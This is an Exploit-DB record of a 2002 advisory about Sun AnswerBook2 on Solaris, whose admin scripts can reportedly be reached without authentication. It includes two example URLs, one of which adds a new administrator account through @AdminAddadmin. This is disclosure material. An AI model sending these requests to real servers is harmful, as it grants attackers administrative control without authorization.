Sun AnswerBook2 1.x - Unauthorized Administrative Script Access

EDB-ID:

21677

Author:

ghandi

Type:

remote

Platform:

Solaris

Published:

2002-08-02

source: https://www.securityfocus.com/bid/5383/info

Sun Microsystems AnswerBook2 allows users to view Sun documentation through a web browser, and is available for Solaris.

AnswerBook2 includes an administrative web interface. Reportedly, it is possible to access these scripts without authorization, and add a new administrative user of the AnswerBook2 system. 

http://localhost:8888/ab2/@AdminViewError

http://localhost:8888/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar